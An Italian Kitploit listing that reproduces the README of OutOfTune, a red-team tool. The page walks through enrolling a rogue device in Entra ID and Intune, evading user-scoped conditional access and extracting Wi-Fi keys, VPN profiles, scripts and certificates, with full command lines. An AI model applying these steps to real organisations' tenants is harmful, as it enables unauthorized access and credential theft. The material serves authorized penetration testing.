Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
OutOfTune — Strumento di enrollment per dispositivi non autorizzati per Entra ID e Intune MDM. Automatizza il join del dispositivo, l'acquisizione del token, l'enrollment MDM e il checkin OMA-DM per estrarre policy, credenziali Wi-Fi, script e app bypassando l'accesso condizionale. | Kitploit
Strumenti/GitHubGitHub/stra-x/outoftune
Autenticazione e AutorizzazioneEscalation di PrivilegiAnalisi delle VulnerabilitàMovimento LateraleAudit di ConfigurazioneRaccolta InformazioniPost-ExploitPenetration TestingSicurezza CloudSicurezza MobileGestione Identità e Accessi (IAM)
313166 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Red Teaming
GitHubstra-x/outoftune

OutOfTune

Strumento di enrollment per dispositivi non autorizzati per Entra ID e Intune MDM. Automatizza il join del dispositivo, l'acquisizione del token, l'enrollment MDM e il checkin OMA-DM per estrarre policy, credenziali Wi-Fi, script e app bypassando l'accesso condizionale.

Vedi Repository
Condividi

OutOfTune

Ispirato dall'originale Pytune, OutOfTune registra un dispositivo rogue in Entra ID, lo iscrive a Intune MDM e verifica lo stato di conformità risultante.

Supporta solo dispositivi Windows poiché era il mio obiettivo principale, potrebbe aggiungerne altri in futuro.

Blog di accompagnamento:

  • https://stra-x.github.io/Re-Engineering-Pytune-Rogue-devices-in-the-age-of-conditional-access/
  • https://stra-x.github.io/Re-Engineering-Pytune-Rogue-devices-in-the-age-of-conditional-access-pt-2/

Requisiti

pip install -r requirements.txt

Come funziona

La catena viene eseguita in fasi, ciascuna basata sullo stato salvato in chain_state.json.

drs-token  ->  device-join  ->  device-token  ->  mdm-enroll  ->  mdm-checkin
  1. drs-token - ottieni un token di accesso DRS (ROPC o pre-phished)
  2. device-join - registra un nuovo oggetto dispositivo in Entra ID, ottieni un certificato dispositivo
  3. device-token - autentica come device principal, ottieni un token di iscrizione Intune
  4. mdm-enroll - SOAP discovery + WS-Trust enrollment, ottieni un certificato client MDM
  5. mdm-checkin - OMA-DM SyncML checkin, recupera i criteri, opzionalmente imposta un utente primario

Utilizzo

1. Ottieni un token DRS

ROPC (credenziali note):

python OutOfTune.py drs-token -u [email protected] -p Password1!

Token ottenuto in precedenza:

python OutOfTune.py drs-token -u [email protected] -t <drs_access_token>

2. Unisci un dispositivo a Entra ID

python OutOfTune.py device-join
python OutOfTune.py device-join -n CORP-LAPTOP-01

Output <DEVICENAME>.pfx - il certificato del dispositivo. La password è password.


3. Ottieni un token del device principal

python OutOfTune.py device-token
python OutOfTune.py device-token --cert CORP-LAPTOP-01.pfx

Autentica presso AAD come oggetto dispositivo (non come utente). Elude i criteri di accesso condizionale con ambito utente.


4. Registrazione in Intune MDM

python OutOfTune.py mdm-enroll
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json

Esegue il SOAP discovery contro l'endpoint MDM, quindi invia una richiesta di enrollment WS-Trust PKCS10. Output <DEVICENAME>_mdm.pfx.

Usa --profile per falsificare gli attributi hardware/OS del dispositivo inviati a Intune (vedi Device Profiles).


5. Checkin OMA-DM

python OutOfTune.py mdm-checkin
python OutOfTune.py mdm-checkin -r <refresh_token>
python OutOfTune.py mdm-checkin --cert CORP-LAPTOP-01_mdm.pfx
python OutOfTune.py mdm-checkin -O ./output
python OutOfTune.py mdm-checkin -O ./output --save-syncml ./output/raw

Esegue il loop OMA-DM SyncML contro r.manage.microsoft.com. Intune invierà profili di configurazione, assegnazioni di app e qualsiasi altro criterio destinato al dispositivo. Al termine del loop, le informazioni utili vengono automaticamente estratte e visualizzate.

Se viene fornito -r, il refresh token viene scambiato per un token di accesso manage.microsoft.com e inviato come Authorization: Bearer in ogni richiesta SyncML. Intune legge l'UPN da questo token e lo imposta come utente primario del dispositivo, causando l'associazione dei criteri di conformità con ambito utente. È necessario eseguire una sola volta con -r per assegnare un utente; tutti i checkin successivi possono essere eseguiti senza refresh token.

Senza -r il dispositivo non avrà un utente primario.

Dopo questo checkin iniziale, se non si effettua un altro checkin per un periodo prolungato (di solito 5-7 giorni), il dispositivo potrebbe risultare non conforme a causa del criterio predefinito per "Is Active". A seconda della configurazione di Intune, il dispositivo potrebbe entrare in un periodo di tolleranza prima di essere contrassegnato come non conforme. Se ciò accade, esegui di nuovo mdm-checkin. Se hai precedentemente utilizzato un refresh token per assegnare un utente primario, non è necessario inviarlo di nuovo poiché l'utente primario è ora memorizzato nel backend di Intune.

Flag

FlagDescrizione
--cert FILEPFX MDM da utilizzare — il nome del dispositivo viene derivato automaticamente dal nome del file
-r RTRefresh token utente — imposta l'utente primario (necessario solo una volta)
-O DIRSalva gli artefatti estratti in DIR (wifi/, vpn/, scripts/, certs/, add_values.json, policy_values.json)
--save-syncml DIRSalva il SyncML XML raw per ogni round in DIR per un successivo re-parsing offline
-o FILEScrivi l'output completo della console in FILE

Informazioni utili estratte

CategoriaSalvato inNote
Profili Wi-Fiwifi/<SSID>.xml + _psk.txtPSK in testo semplice estratto se presente
Profili VPNvpn/<name>.xmlProfileXML completo
Payload di certificaticerts/cert_N.b64Blob PFX crittografati (raw, non ancora decifrati)
SCEP challengesmostratoNome del modello CA, URL della challenge
Scriptscripts/<name>.ps1Script PowerShell inviati tramite OMA-DM
URL di download MSImostratoLink CDN diretti per app LOB
Blob ODJodj_blob.b64 + odj_strings.txtOffline Domain Join – stringhe leggibili estratte
Valori aggiuntiadd_values.jsonTutti gli altri comandi Add (certificati CA radice, onboarding MDE, configurazione criteri)
Valori sostituitipolicy_values.jsonValori del CSP Criteri impostati da Intune

Analizza i round SyncML salvati

Ri-parsa i round XML raw salvati con --save-syncml senza eseguire un checkin live.

python OutOfTune.py parse-checkin --dir ./output/raw -O ./output2
python OutOfTune.py parse-checkin --file ./output/raw/round_001.xml -O ./output2

Verifica lo stato di conformità

python OutOfTune.py check -u [email protected] -r <refresh_token>
python OutOfTune.py check -u [email protected] -p Password1!

Conia un PRT dal certificato del dispositivo, lo scambia per un token IWService e interroga IWService/Devices per lo stato di conformità del dispositivo e le eventuali regole di non conformità.

Usa -r con un refresh token di sessione MFA se il tenant CA richiede MFA per la risorsa di enrollment.


Scarica app e script

Recupera le app Win32 e gli script PowerShell assegnati al dispositivo tramite IME SideCarGateway. Utilizza solo il certificato client MDM — non è richiesto alcun token utente.

python OutOfTune.py download-apps
python OutOfTune.py download-apps --cert CORP-LAPTOP-01_mdm.pfx
  • Gli script PowerShell vengono salvati in scripts/<PolicyId>.ps1
  • Le app Win32 vengono scaricate dal CDN, decifrate ed estratte in apps/<AppName>/

Scarica script di remediation

Recupera gli script di remediation proattivi (coppie di rilevamento + remediation) assegnati al dispositivo.

python OutOfTune.py get-remediations
python OutOfTune.py get-remediations --cert CORP-LAPTOP-01_mdm.pfx

Ogni criterio viene salvato in remediations/<PolicyId>/ contenente:

  • detection.ps1 — lo script di rilevamento
  • remediation.ps1 — lo script di remediation
  • params.json — l'ID del criterio e eventuali parametri dello script

Pulizia

Se la rimozione del dispositivo da Intune fallisce, eliminalo da Entra. Il dispositivo entrerà quindi in un periodo di tolleranza in Intune e verrà automaticamente rimosso in un secondo momento.

Rimuovi il dispositivo da Intune:

python OutOfTune.py retire-intune -u [email protected] -r <refresh_token>

Rimuovi l'oggetto dispositivo da Entra ID:

python OutOfTune.py entra-delete

Controlla lo stato della catena

python OutOfTune.py status

Profili del Dispositivo

Scarica lo strumento